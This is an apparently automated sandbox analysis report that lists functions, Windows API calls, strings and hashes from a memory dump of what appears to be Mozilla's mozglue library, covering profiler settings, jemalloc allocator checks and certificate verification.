getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAE57CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CAE55E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAE5749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAE57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAE584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAE5D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAE5717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAE5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAE5AC9
[I %d/%d] profiler_init, xrefs: 6CAE564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAE56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAE5C56
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAE54A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAE57AE
MOZ_BASE_PROFILER_HELP, xrefs: 6CAE5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAE5B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAE5724
GeckoMain, xrefs: 6CAE5554, 6CAE55D5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAE5D1C
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAE5CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAE5D2B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAE54B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAE548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAE5791
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAE5BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAE5766

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction ID: 4114c2996a2e754869f2efee0f4bd50674575deb398cb4660d54315b1e3d8636
Opcode Fuzzy Hash: 51cd60b8bb6176456f20ea3eb0d33e9a117ee55b0a1b91f56571321e10b4c88b
Instruction Fuzzy Hash: A2224974A043809FEB00AF75E45426EB7F5EF4A35CF884929E84697B41EB30C498DB93

Function 6CAE6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAE6D26

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAE6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAE6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAE6D73
free.MOZGLUE(00000000), ref: 6CAE6D80
CertGetNameStringW.CRYPT32 ref: 6CAE6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAE6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAE6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAE6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAE6E34
CreateFileW.KERNEL32 ref: 6CAE6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAE6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAE6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAE709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAE7103
free.MOZGLUE(00000000), ref: 6CAE7153
CloseHandle.KERNEL32(?), ref: 6CAE7176
__Init_thread_footer.LIBCMT ref: 6CAE7209
__Init_thread_footer.LIBCMT ref: 6CAE723A
__Init_thread_footer.LIBCMT ref: 6CAE726B
__Init_thread_footer.LIBCMT ref: 6CAE729C
__Init_thread_footer.LIBCMT ref: 6CAE72DC
__Init_thread_footer.LIBCMT ref: 6CAE730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAE73C2
VerSetConditionMask.NTDLL ref: 6CAE73F3
VerSetConditionMask.NTDLL ref: 6CAE73FF
VerSetConditionMask.NTDLL ref: 6CAE7406
VerSetConditionMask.NTDLL ref: 6CAE740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAE741A
moz_xmalloc.MOZGLUE(?), ref: 6CAE755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAE7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAE7598
free.MOZGLUE(00000000), ref: 6CAE75AC

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

SHA256, xrefs: 6CAE6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CAE72C8
(, xrefs: 6CAE768A
wintrust.dll, xrefs: 6CAE72CD

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction ID: ef26cb055b5627317f628faab696308cdc4fa5b557dcbce092a2d2fd275f7cc7
Opcode Fuzzy Hash: 495f2f3b49940eaf1b14fe1a310dda1749d73f2eae72d1a8631c4a8422466c9f
Instruction Fuzzy Hash: 5052E4B1A003589BEB21DF64CC84BAAB7B8EF49718F144599E909D7641DB70AEC4CF90

Function 6CB10DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB10F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB10F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB10FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB10FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB11031
LeaveCriticalSection.KERNEL32(?), ref: 6CB110D0
EnterCriticalSection.KERNEL32(?), ref: 6CB1117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB11C39
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CB13391
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CB133CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB13431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB137D2
MALLOC_OPTIONS, xrefs: 6CB135FE
<jemalloc>, xrefs: 6CB13941, 6CB139F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB13A02
MOZ_CRASH(), xrefs: 6CB13950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB137BD
Compile-time page size does not divide the runtime one., xrefs: 6CB13946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB137A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB13559, 6CB1382D, 6CB13848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB13793

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction ID: 2f56522ddd31cda09d4bf91bbc979aeb3b4ccc36038fa736006d349e41bf8653
Opcode Fuzzy Hash: aa2cfdb1f155d3faaa46b2ed677e7a0f8d2965f1c0e2131609f4b11efb32bc78
Instruction Fuzzy Hash: 14538071A097818FD704CF29C540616FBE1FF86328F29C66DE8699BB91D771E841CB82

Function 6CB334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB33EE2

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB361DD
Part of subcall function 6CB36180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB3622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34157

Part of subcall function 6CB36180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB36250
Part of subcall function 6CB36180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB36292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB3441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB3484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB34896
free.MOZGLUE ref: 6CB3489F

Strings

, xrefs: 6CB34CD2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction ID: 6f200d8e190a2f31205981029ca13bc7c700aeefbfc742e06f1e4c61423d4f3c
Opcode Fuzzy Hash: 3eb967c8c17009ea94fcc5b21d1a59d3c94ca4875ffc5b3f270a5e99427d7dcb
Instruction Fuzzy Hash: 79F23974908B908FC725CF28C08469AFBF1FF89348F518A5ED99997715DB329886CF42

Function 6CAE64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAE64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAE64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAE6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAE6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAE652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE671C
GetCurrentProcess.KERNEL32 ref: 6CAE6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE672F
GetCurrentProcess.KERNEL32 ref: 6CAE6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAE6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAE6A80
GetSystemInfo.KERNEL32(?), ref: 6CAE6ABE
__Init_thread_footer.LIBCMT ref: 6CAE6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE6AF7

Strings

detoured.dll, xrefs: 6CAE64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAE6798
nvdxgiwrap.dll, xrefs: 6CAE6513
nvd3d9wrap.dll, xrefs: 6CAE6500
_etoured.dll, xrefs: 6CAE64ED
user32.dll, xrefs: 6CAE6526

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction ID: 2caf1b6c92c89ffe3db899fe67e795fc48a956e095e3118a0d4d451dad08a7c8
Opcode Fuzzy Hash: 4ced872201d835f5021c217eb85459aa6806106646d7013a570c77142d9202d4
Instruction Fuzzy Hash: E9F1E270A0522D8FDB20DF64CC48B9AB7B5AF0A318F184699D919A3741E731AEC4DF90

Function 6CB3C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB3C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB3C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB3E472

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 987c463e6893844578d3670cfae3702084bacedb71e174ed4b35a85388ef59c5
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 9F33AF71E0426ACFCB04CFA8C8806EDBBF2FF49310F198269D959AB755D731A945CB90

Function 6CAEFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAF0D67, 6CAF0D7B, 6CAF0DAC
<jemalloc>, xrefs: 6CAF0D62, 6CAF0D76, 6CAF0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction ID: 40603c5147ed4ca42a2937d6cacf930ab2a605f36476419023f641449a8956ed
Opcode Fuzzy Hash: 49588b97a14be3e140bc8b81c02f6ac7a00adbcfe4bc27f9b6eb53ed8b0593e2
Instruction Fuzzy Hash: B0C27D71A057418FD714CF28C980716BBE1BF85328F28C66DE9B98B795D771E882CB81

Function 6CB3E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB3E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB3EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB3F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB3F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB40E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB40E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB40ED4

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction ID: a599df7f2c31f473393097a0d32ed5069c9c49328eead497120b9d5376f489ba
Opcode Fuzzy Hash: 913d34bcb01fc855a6291e4c06edf50ac44fc784d3ebe2e1bb1e396c9a2b1d5e
Instruction Fuzzy Hash: 57638171E0429ACFCB04CFA8C8906DDF7B2FF99310F298269D859AB755D730A945CB90

Function 6CB13E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB37770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB13E7D,?,?,?,6CB13E7D,?,?), ref: 6CB3777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB13F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB13F5C
VerSetConditionMask.NTDLL ref: 6CB13F8D
VerSetConditionMask.NTDLL ref: 6CB13F99
VerSetConditionMask.NTDLL ref: 6CB13FA0
VerSetConditionMask.NTDLL ref: 6CB13FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB13FB4

Strings

nvinit.dll, xrefs: 6CB14479
nvd3d9wrap.dll, xrefs: 6CB14466

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction ID: 11d29a2e511d9fb78208664da36db111bf0e565b63a44457afd37582aaf6a2af
Opcode Fuzzy Hash: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction Fuzzy Hash: A3520471614B898FD710DF34C984AAB77E9EF45208F444A2DE4928BB42DB34F94DCBA0

Function 6CAFED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAFEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAFEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB01695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB01770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB01A3E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

